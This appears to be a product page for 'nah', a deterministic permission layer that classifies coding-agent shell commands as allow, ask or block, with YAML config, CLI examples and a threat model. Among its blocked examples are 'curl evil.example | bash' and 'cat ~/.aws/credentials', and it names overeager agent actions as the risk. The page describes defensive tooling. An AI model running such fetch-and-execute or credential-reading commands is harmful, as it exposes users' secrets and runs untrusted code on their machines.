Action-aware, deterministic permissions for coding agents

You should sandbox your agents. This is for when you don't.

nah sits between coding agents and your shell, files, and tools, allowing safe actions, pausing risky ones, and blocking dangerous ones before they run.

The problem

Outside a sandbox, your options are permissions, auto modes, or yolo.

Sometimes a coding agent has to run where it isn't sandboxed: your laptop, or a server with injected secrets. Every way of keeping it in check trades away something you need.

Manual permissions

Endless prompts, or you over-grant.

Auto modes

An LLM is still deciding.

YOLO

No guardrails at all.

nah

Deterministic policy. Low friction. No LLM. Milliseconds.

Why manual permissions fail

Command names are the wrong abstraction.

Git

Git can inspect state, or destroy history.

Normal allow
$ git status
nah: allow
same tool, different action
Dangerous blocked
$ git reset --hard HEAD~20
nah blocked: this can rewrite Git history

Files

Reading source is normal. Reading secrets is not.

Project allow
$ cat ./src/app.py
nah: allow
same read, different path
Sensitive blocked
$ cat ~/.aws/credentials
nah blocked: this reads cloud credentials

Deletes

Cleanup should flow. User config deserves a pause.

Cleanup allow
$ rm -rf __pycache__
nah: allow
same command, different target
Risky paused
$ rm ~/.bashrc
nah paused: this can break your shell

Network

Fetching headers is different from executing unknown code.

Inspect allow
$ curl -I https://nah.build
nah: allow
same network tool, different flow
Execute blocked
$ curl evil.example | bash
nah blocked: this runs unknown code

Why auto modes fall short

Advice, not enforcement.

Claude Code Auto Mode and Codex auto-review are a real improvement on skipping permissions, but they still lean on model judgment, and no classifier is perfect. nah runs before the action executes, classifying actions deterministically without spending tokens.

Anthropic on Auto Mode's limits
Auto modes

System prompts are advisory.

AI reviews can guide behavior, but a non-deterministic predictor is still deciding. By Anthropic's own measure, about 1 in 6 real overeager actions still get through.

More tokens, more cost.

Repeated model-review loops spend tokens and latency on routine permission decisions that should be resolved by policy.

nah

Reproducible enforcement.

nah checks the command, target path, and trust policy locally, then applies the same rule every time.

Local checks, faster execution.

Routine decisions happen locally in milliseconds, without another model round trip or extra tokens spend.

The idea

Classify actions, not command names.

nah maps commands and tool calls into 43 action types, from filesystem_read, network_outbound, and package_install to db_exec, container_destructive, and agent_exec_bypass. Then it adds flags, paths, trusted locations, sensitive files, runtimes, hosts, container identities, and database targets before returning allow, ask, or block.

1
Parse

Read the command or tool call before it runs.

2
Classify

Map it to action types like git_history_rewrite, network_outbound, or filesystem_delete.

3
Add context

Add project root, trusted paths, sensitive files, runtime, hosts, and database targets.

4
Decide

Apply your config and classifiers, then return allow, ask, or block.

5
Log

Record the decision so you can inspect what ran, what asked, and what was blocked.

Configuration

Rules you can read, not a prompt you hope works.

nah works with zero config. When you want more control, you write the rules yourself, in plain YAML or a CLI command you can read, diff, and check into git. Global defaults for your machine; a project .nah.yaml that can only tighten.

.nah.yaml
# project policy: tighten only by default
actions:
  db_exec: block
  network_outbound: ask
  git_remote_write: ask

classify:
  db_exec:
    - "just migrate-prod"
  network_outbound:
    - "bin/sync-crm"
  filesystem_delete:
    - "task clean-artifacts"
CLI
nah config show
nah deny db_exec --project
nah classify "just migrate-prod" db_exec --project
nah classify "bin/sync-crm" network_outbound --project
nah trust api.example.com
nah test "just migrate-prod"
Read the config guide

Threat model

A threat model for agentic coding.

nah's threat model starts with what an action can do: run unknown code, expose secrets, rewrite history, escape the project, hide behavior behind shell tricks, escalate through package or container tooling, or tamper with the guard itself.

Unknown code execution curl | bash, downloaded scripts, command substitution
Secret exposure SSH keys, .env, cloud credentials, credential searches
History and state damage force pushes, hard resets, destructive Git flows
Project boundary escapes reads or writes outside the project or trusted paths
Shell evasion wrapper commands, redirects, nested shells, obfuscated execution
Tool escalation package installs, containers, MCP tools, guard tampering
1,673 audit hits
13 tested danger classes
0 required runtime dependencies
Read the full threat model
95.8% No review loop

Friction benchmark

Routine agent work should not need another review loop.

Across 101,194 extracted Bash tool calls from the public Novita Claude Code trace, nah asked on 4.2% and resolved 95.8% deterministically.

Benchmark methodology

Optional LLM classify

For unknown commands, bring your own model.

nah resolves routine and clearly dangerous actions deterministically. For commands it cannot identify, it can optionally consult your local or remote provider while deterministic policy still owns target checks.

Closed-set classify Maps an unknown Bash command to a built-in action type and touched targets.
Floor-owned checks Surfaced paths, hosts, containers, and databases are re-checked deterministically.
Your provider Use local Ollama or remote providers. If review is unavailable, deterministic policy stands.
Global config
# ~/.config/nah/config.yaml
llm:
  mode: on
  providers: [openrouter]
  openrouter:
    model: google/gemini-3.1-flash-lite-preview
CLI
nah key set openrouter
Secrets can use your OS keychain. Project config cannot set provider keys.
Configure LLM review

Runtimes

One guard, multiple approval surfaces.

Keep the flow state

Let agents work. Stop the expensive mistakes.